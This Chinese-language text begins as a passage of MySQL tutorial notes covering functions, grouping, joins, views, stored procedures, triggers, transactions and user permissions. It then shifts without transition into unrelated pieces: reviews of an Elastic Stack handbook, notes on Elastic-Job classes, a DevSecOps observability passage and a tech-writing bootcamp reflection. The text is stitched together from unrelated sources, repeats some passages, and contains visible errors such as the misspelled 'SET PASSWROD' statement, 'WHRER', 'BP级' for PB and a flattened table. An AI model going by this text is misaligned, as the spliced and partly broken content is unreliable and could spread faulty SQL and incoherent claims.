可以将一个字符串转换为描述其语音表示的字母数字模式。SELECT * FROM mytable WHERE SOUNDEX(col1) = SOUNDEX('apple')日期和时间处理日期格式:YYYY-MM-DD时间格式:HH:MM:SS函 数说 明AddDate()增加一个日期(天、周等)AddTime()增加一个时间(时、分等)CurDate()返回当前日期CurTime()返回当前时间Date()返回日期时间的日期部分DateDiff()计算两个日期之差Date_Add()高度灵活的日期运算函数Date_Format()返回一个格式化的日期或时间串Day()返回一个日期的天数部分DayOfWeek()对于一个日期,返回对应的星期几Hour()返回一个时间的小时部分Minute()返回一个时间的分钟部分Month()返回一个日期的月份部分Now()返回当前日期和时间Second()返回一个时间的秒部分Time()返回一个日期时间的时间部分Year()返回一个日期的年份部分mysql> SELECT NOW();2018-4-14 20:25:11数值处理函数说明SIN()正弦COS()余弦TAN()正切ABS()绝对值SQRT()平方根MOD()余数EXP()指数PI()圆周率RAND()随机数分组分组就是把具有相同的数据值的行放在同一组中。可以对同一分组数据使用汇总函数进行处理,例如求分组数据的平均值等。指定的分组字段除了能按该字段进行分组,也会自动按该字段进行排序。SELECT col, COUNT(*) AS num FROM mytable GROUP BY col;GROUP BY 自动按分组字段进行排序,ORDER BY 也可以按汇总字段来进行排序。SELECT col, COUNT(*) AS num FROM mytable GROUP BY col ORDER BY num;WHERE 过滤行,HAVING 过滤分组,行过滤应当先于分组过滤。SELECT col, COUNT(*) AS num FROM mytable WHERE col > 2 GROUP BY col HAVING num >= 2;分组规定:GROUP BY 子句出现在 WHERE 子句之后,ORDER BY 子句之前;除了汇总字段外,SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出;NULL 的行会单独分为一组;大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。子查询子查询中只能返回一个字段的数据。可以将子查询的结果作为 WHRER 语句的过滤条件:SELECT * FROM mytable1 WHERE col1 IN (SELECT col2 FROM mytable2);下面的语句可以检索出客户的订单数量,子查询语句会对第一个查询检索出的每个客户执行一次:SELECT cust_name, (SELECT COUNT(*) FROM Orders WHERE Orders.cust_id = Customers.cust_id) AS orders_num FROM Customers ORDER BY cust_name;连接连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 WHERE。连接可以替换子查询,并且比子查询的效率一般会更快。可以用 AS 给列名、计算字段和表名取别名,给表名取别名是为了简化 SQL 语句以及连接相同表。内连接内连接又称等值连接,使用 INNER JOIN 关键字。SELECT A.value, B.value FROM tablea AS A INNER JOIN tableb AS B ON A.key = B.key;可以不明确使用 INNER JOIN,而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。SELECT A.value, B.value FROM tablea AS A, tableb AS B WHERE A.key = B.key;在没有条件语句的情况下返回笛卡尔积。自连接自连接可以看成内连接的一种,只是连接的表是自身而已。一张员工表,包含员工姓名和员工所属部门,要找出与 Jim 处在同一部门的所有员工姓名。子查询版本SELECT name FROM employee WHERE department = ( SELECT department FROM employee WHERE name = "Jim");自连接版本SELECT e1.name FROM employee AS e1 INNER JOIN employee AS e2 ON e1.department = e2.department AND e2.name = "Jim";自然连接自然连接是把同名列通过等值测试连接起来的,同名列可以有多个。内连接和自然连接的区别:内连接提供连接的列,而自然连接自动连接所有同名列。SELECT A.value, B.value FROM tablea AS A NATURAL JOIN tableb AS B;外连接外连接保留了没有关联的那些行。分为左外连接,右外连接以及全外连接,左外连接就是保留左表没有关联的行。检索所有顾客的订单信息,包括还没有订单信息的顾客。SELECT Customers.cust_id, Orders.order_num FROM Customers LEFT OUTER JOIN Orders ON Customers.cust_id = Orders.cust_id;customers 表:cust_idcust_name1a2b3corders 表:order_idcust_id11213343结果:cust_idcust_nameorder_id1a11a23c33c42bNull组合查询使用 UNION 来组合两个查询,如果第一个查询返回 M 行,第二个查询返回 N 行,那么组合查询的结果一般为 M+N 行。每个查询必须包含相同的列、表达式和聚集函数。默认会去除相同行,如果需要保留相同行,使用 UNION ALL。只能包含一个 ORDER BY 子句,并且必须位于语句的最后。SELECT col FROM mytable WHERE col = 1 UNION SELECT col FROM mytable WHERE col =2;视图视图是虚拟的表,本身不包含数据,也就不能对其进行索引操作。对视图的操作和对普通表的操作一样。视图具有如下好处:简化复杂的 SQL 操作,比如复杂的连接;只使用实际表的一部分数据;通过只给用户访问视图的权限,保证数据的安全性;更改数据格式和表示。CREATE VIEW myview AS SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col FROM mytable WHERE col5 = val;存储过程存储过程可以看成是对一系列 SQL 操作的批处理。使用存储过程的好处:代码封装,保证了一定的安全性;代码复用;由于是预先编译,因此具有很高的性能。命令行中创建存储过程需要自定义分隔符,因为命令行是以 ; 为结束符,而存储过程中也包含了分号,因此会错误把这部分分号当成是结束符,造成语法错误。包含 in、out 和 inout 三种参数。给变量赋值都需要用 select into 语句。每次只能给一个变量赋值,不支持集合的操作。delimiter // create procedure myprocedure( out ret int ) begin declare y int; select sum(col1) from mytable into y; select y*y into ret; end // delimiter ;call myprocedure(@ret); select @ret;游标在存储过程中使用游标可以对一个结果集进行移动遍历。游标主要用于交互式应用,其中用户需要对数据集中的任意行进行浏览和修改。使用游标的四个步骤:声明游标,这个过程没有实际检索出数据;打开游标;取出数据;关闭游标;delimiter // create procedure myprocedure(out ret int) begin declare done boolean default 0; declare mycursor cursor for select col1 from mytable; ## 定义了一个 continue handler,当 sqlstate '02000' 这个条件出现时,会执行 set done = 1 declare continue handler for sqlstate '02000' set done = 1; open mycursor; repeat fetch mycursor into ret; select ret; until done end repeat; close mycursor; end // delimiter ;触发器触发器会在某个表执行以下语句时而自动执行:DELETE、INSERT、UPDATE。触发器必须指定在语句执行之前还是之后自动执行,之前执行使用 BEFORE 关键字,之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化,AFTER 用于审计跟踪,将修改记录到另外一张表中。INSERT 触发器包含一个名为 NEW 的虚拟表。CREATE TRIGGER mytrigger AFTER INSERT ON mytable FOR EACH ROW SELECT NEW.col into @result; SELECT @result; -- 获取结果DELETE 触发器包含一个名为 OLD 的虚拟表,并且是只读的。UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表,其中 NEW 是可以被修改的,而 OLD 是只读的。MySQL 不允许在触发器中使用 CALL 语句,也就是不能调用存储过程。事务管理基本术语:事务(transaction)指一组 SQL 语句;回退(rollback)指撤销指定 SQL 语句的过程;提交(commit)指将未存储的 SQL 语句结果写入数据库表;保留点(savepoint)指事务处理中设置的临时占位符(placeholder),你可以对它发布回退(与回退整个事务处理不同)。不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CREATE 和 DROP 语句。MySQL 的事务提交默认是隐式提交,每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。通过设置 autocommit 为 0 可以取消自动提交;autocommit 标记是针对每个连接而不是针对服务器的。如果没有设置保留点,ROLLBACK 会回退到 START TRANSACTION 语句处;如果设置了保留点,并且在 ROLLBACK 中指定该保留点,则会回退到该保留点。START TRANSACTION // ... SAVEPOINT delete1 // ... ROLLBACK TO delete1 // ... COMMIT字符集基本术语:字符集为字母和符号的集合;编码为某个字符集成员的内部表示;校对字符指定如何比较,主要用于排序和分组。除了给表指定字符集和校对外,也可以给列指定:CREATE TABLE mytable (col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci ) DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci;可以在排序、分组时指定校对:SELECT * FROM mytable ORDER BY col COLLATE latin1_general_ci;权限管理MySQL 的账户信息保存在 mysql 这个数据库中。USE mysql; SELECT user FROM user;创建账户新创建的账户没有任何权限。CREATE USER myuser IDENTIFIED BY 'mypassword';修改账户名RENAME myuser TO newuser;删除账户DROP USER myuser;查看权限SHOW GRANTS FOR myuser;授予权限账户用 username@host 的形式定义,username@% 使用的是默认主机名。GRANT SELECT, INSERT ON mydatabase.* TO myuser;删除权限GRANT 和 REVOKE 可在几个层次上控制访问权限:整个服务器,使用 GRANT ALL 和 REVOKE ALL;整个数据库,使用 ON database.*;特定的表,使用 ON database.table;特定的列;特定的存储过程。REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;更改密码必须使用 Password() 函数SET PASSWROD FOR myuser = Password('new_password');参考资料BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
我通读书之后,分成入门、进阶、应用实践三大部分从开发者最佳实践角度,循序渐进帮助大家更好使用、理解。本书涵盖了 应用场景、基础、应用和实战 案例。包含了开源版本的核心基础功能,又 创新性 地包含了机器学习、高阶安全等,也将企业实战业务场景的方案进行了全方位的解读; 包含但不限于:基于舆情的全文检索场景、基于智能巡检、流媒体、面部识别等基础的日志分析场景,这些来源于实战的解读对于企业架构选型、开发、运维都非常有帮助。大数据近几年有了突飞猛进的发展,有数据的地方都离不开数据预处理、分析、检索、聚合、可视化分析等应用场景。以其 门槛低、上手快、版本迭代快、社区响应快等特点和优势 ,使得看似“遥不可及、高深莫测”的大数据存储、检索与分析技术“飞入寻常百姓家”。 从一线大厂:阿里、腾讯、头条、滴滴、快手等到国内创业公司,甚至连婚庆网站都在使用 Elasticsearch。“Elastic 用的好,下班下的早”从一种半调侃的标语已然成为互联网实际人才衡量依据。期望大家和我一样读后有收获!
在10分钟查询一个PB级的云存储中,冻结层的能力对ES在企业日志场景下有一个很强的帮助,能够很好的 权衡成本和存储 。 但由于某些历史原因,存在部分自建集群无法上云,且作为一个开源版本,并没有这个能力。所以 只能通过7.x版本 推出的ILM生命周期管理,通过某些共享文件存储系统把对象存储模拟成本地磁盘进行这种能力的模拟,在一定程度权衡了成本和存储的问题,但是整个部署的复杂度也相对提升了,对运维层面会有一些挑战,期望大家和我一样读后有收获!能够咱不落后不然就会吊起打十分的惨啊!
冻结层 的主要亮点有:
• 如果数据没有缓存,在 4TB 数据集中返回简单词条查询的结果需要几秒钟。如果有缓存,则搜索性能会以毫秒为单位,类似于温层或冷层;
• 如果数据没有缓存,在 4TB 数据集上计算一个复杂的 Kibana 仪表板所需时间不到 5 分钟。如果有缓存,这一计算将在 几秒钟内完成 ,类似于温层或冷层;
• 轻松将数据量扩展到 1PB 数据集。在 无缓存 的情况下,对简单词条查询的结果将在 10 分钟内返回。
Elastic各个产品线新特性大放异彩,Elastic早已不止是检索,已经成为 一体化的完整数据处理堆栈,从数据摄入到分析展示、价值获取 。功能更完善、更加简单、易用用、更可视化、更安全。 Elastic XPack/SQL等付费功能会从大公司到小公司逐渐推广。 随着Elastic上市,国内的业务也开展的如火如荼,从BAT等互联网公司、华为、到三大运营商、各大银行各个行业、各个领域都在以ELK作为基础架构,根据自己的业务做定制开发、优化、APM、自动化等; Elastic社区在Elastic国内外进程中功不可没,“三人行必有我师”,大神们的实践对我们自己的Elastic学习、实践都有很好的借鉴价值.
基础开发技能,例如Elasticsearch 内存管理和故障排除等,帮助开发者避免不必要的网络开发成本。还可以学习Elastic的实战技能,例如如何使用Elasticsearch追踪最近的客户订单、洞察Github开源项目的开发效能、获取数据视图等等。同时也能快速掌握10分钟内查询一个PB级的云储存的实战技巧,使管理大规模数据变得更容易、更经济。
目前,只是看了部分代码,可以从下面的几个类开始入手:
JobScheduler :作业调度器,简单说就是进行作业调度的管理容器。里面会管理作业的基本配置,注册,选举,分片,失效转移等核心逻辑实现
ListenerManager :监听管理,对作业的各种状态进行监听,包括选举,分片,失效,操作,配置变更等事件监听,触发相应的执行逻辑。 AbstractElasticJob:作业的基类,目前作业分为3种,简单类型,流式作业,流式顺序作业。
认真分析这几个类的关联类,相信会对这个项目有一个全面的认识。
对安全分析师来说是一个安全信息和事件管理系统(SIEM)。想象一下,如果这些团队和流程更具协作性,可能会带来哪些好处。可观测性数据可以为安全团队添加更多上下文,因为他们致力于快速检测和响应威胁。同时,开发人员可以通过从一开始就保护应用程序来减少开发中的摩擦。 从代码到云:保护您的软件供应链从 云可观测性开始,打破孤岛并简化开发人员和安全团队之间 的工作流程可能会帮助这些依赖速度的专业人员更好地实现他们的目标以及企业的目标。安全、可靠技术的开发和持续正常运行时间确保组织能够继续为其客户服务。同时,保护IT可以帮助防止数据泄露以及由此带来的所有挑战,从有价值资产的损害到对公司声誉的潜在损害。4.创造良性循环如果说这场外部环境教会了我们一件事,那就是韧性需要适应。这首先要了解一个组织想要解决的关键问题和挑战,并确定解决这些问题所需的洞察力。无论公司是在云中诞生还是管理遗留系统的迁移,创建一个由可观测性铸造的、以安全为基础的实时持续反馈回路,为IT领导者在云复杂性扼杀创新之前解决云复杂性提供了基础。尤其是通过Elastic的新冻结数据层将计算与存储分离,并通过低成本对象存储系统直接促进搜索,让管理大数据变得非常简单,可以通过十分钟左右的时长就能查询BP级的云存储,这是非常棒的内容,大大方便用户关于BP级以及以上的数据搜索查询和维护工作。还有一个让我深刻的点就是通过使用 transforms进行订单追踪 的操作,主要是通过使用transforms功能解决基于事件索引和转换函数创建和维护以 实体为核心的索引 ,跟踪数据,集中客户最新订单,非常的方便实用;
使用最大化数据的可能性许多组织正在采用DevSecOps框架来应对这些挑战,并将监控和安全任务集成到他们的应用程序开发工作流程中。无论上下文是维护系统正常运行时间和可用性,还是调查网络上的可疑恶意活动,开发人员和安全团队都需要快速 工作以识别和响应问题。快速调查异常需要能够完整讲述所发生事件的数据 。很多时候,这些团队需要通过手动关联和分析指标、日志和链路跟踪数据来拼凑故事——因为他们难以找到根本原因并从多个工具中筛选不同的数据,从而浪费了宝贵的时间。这两个团队的理想状态是自动关联和高级分析,可以从一个共同的数据平台轻松访问--该平台也许对开发者来说是一个单一的运维数据存储库,了解一个组织想要解决的关键问题,并确定解决这些问题所需的洞察力。无论公司是在云中诞生还是管理遗留系统的迁移,创建一个由可观测性铸造的、以 安全为基础的实时 持续反馈回路。
总的来说,手册内容翔实。上册可以作为工具书备用查看,下册根据个人实际工作需要选择适合自己的内容实践操作一下,对于提高开发者在公司里的技术地位很有帮助。 对于我个人来说要把收藏的好的知识技术文章集合起来分享出来,让更多的精华文章让需要的人能及时的看到,让有才华的人不被雪藏,让后来的人能青出于 蓝而胜于蓝 ,站在巨人的肩膀上超越巨人!
恭喜你发现宝藏啦,因为本书它集结数百位优秀开发者编写的,其中包括许多知名大咖参与,从基础的Elastic Stack产品能力到后半部的应用实践,到为开发者使用ElasticStack提供了必要的基础知识解释与应用参考。
是个啥?Elastic Stack是 一系列 由Elastic公司开发的产品组件,能够安全可靠地获取任何来源、任何格式的数据,然后实时地对数据进行搜索、分析与可视化的解决方案。针对 企业搜索 提供性能优异的分布式xiangggua相关性检索,扩展性,已部署,具可观测性,实时解析与更方便数据统一采集等众多优点于一身。
Elasticsearch里面有部分专有名词,如Node,Document,index等被从实践出发赋予更深含义;然后教你搭ES环境,JDK,Docker等先安好,安全访问,配置多节点集群及ECK编排管理组件等。然后是有哪些 重要点 ,如Nested数据类型,Reindex API,分页搜索以及Aggregations等众多技术做非常详细描述及实践。
与因为单点集群存在一隐患,所以要跨集群操作,如搜索与复制;还有 高级操作呢 ,如分片分配,指在索引创建、副本增减、节点增减、分片重平衡等,将索引分片落实到实际的物理节点的过程;还有索引生命周期管理,为啥呢,因为集群需要对冷热数据进行分离,性能好的机器放最近频繁查询的数据,随着时间推移,数据查询不在频繁,这需要把数据迁移到性能较差的机器上。最后是Elastic Workplace Search,它是一套个性化, 集中式, 安全的组织搜索体验的完整解决方案,它可以帮我们快速地搜索我们工作中所用到的所有的工具里的文档很快找到。 咋应用呢 比如吃瓜搜索,不是 哈哈“舆情搜索” ,提供信息检索、 多维度统计、 敏感信息预警、 信息简报、自动化报告等功能,帮助用户及时发现危害品牌形象的观点, 并为用户分析关注对象在网络中的形象提供依据。还可实现主流搜索引擎广告置顶显示效果。最后是预测监控系统在提升了应用可用性同时,还在日积月累中形成海量监控数据, 而从这些监控数据中可以挖掘出巨大的商业价值。 监控指标会包含一些特定业务场景下的业务数据,借助大数据分析工具对它们进行处理和建模后, 就可以辅助人们作出正确的市场决策。
训练营来的主讲嘉宾都是各个领域内的大牛,带来的分享也十分有价值,包含了文章写作,视频制作,技术演讲,出版图书等等,都是经过他们实践并得到正向反馈的经验之谈。我的收获除了这些“术”的总结,还有一点体会,就是要敢于迈出第一步。无论第一篇技术创作有多糟糕,哪怕只有几个阅读量,也是一个良好的开端。到参加训练营十来天,我已经完成了10篇左右的技术博客,并且发布在了阿里云开发者社区。
在如今流量的时代,技术自媒体本身的流量获得已经非常困难了。希望自己能保持创作的热情,在阿里云开发者社区多多输出,能让更多的朋友因为看到我的文章而有一点点的收获。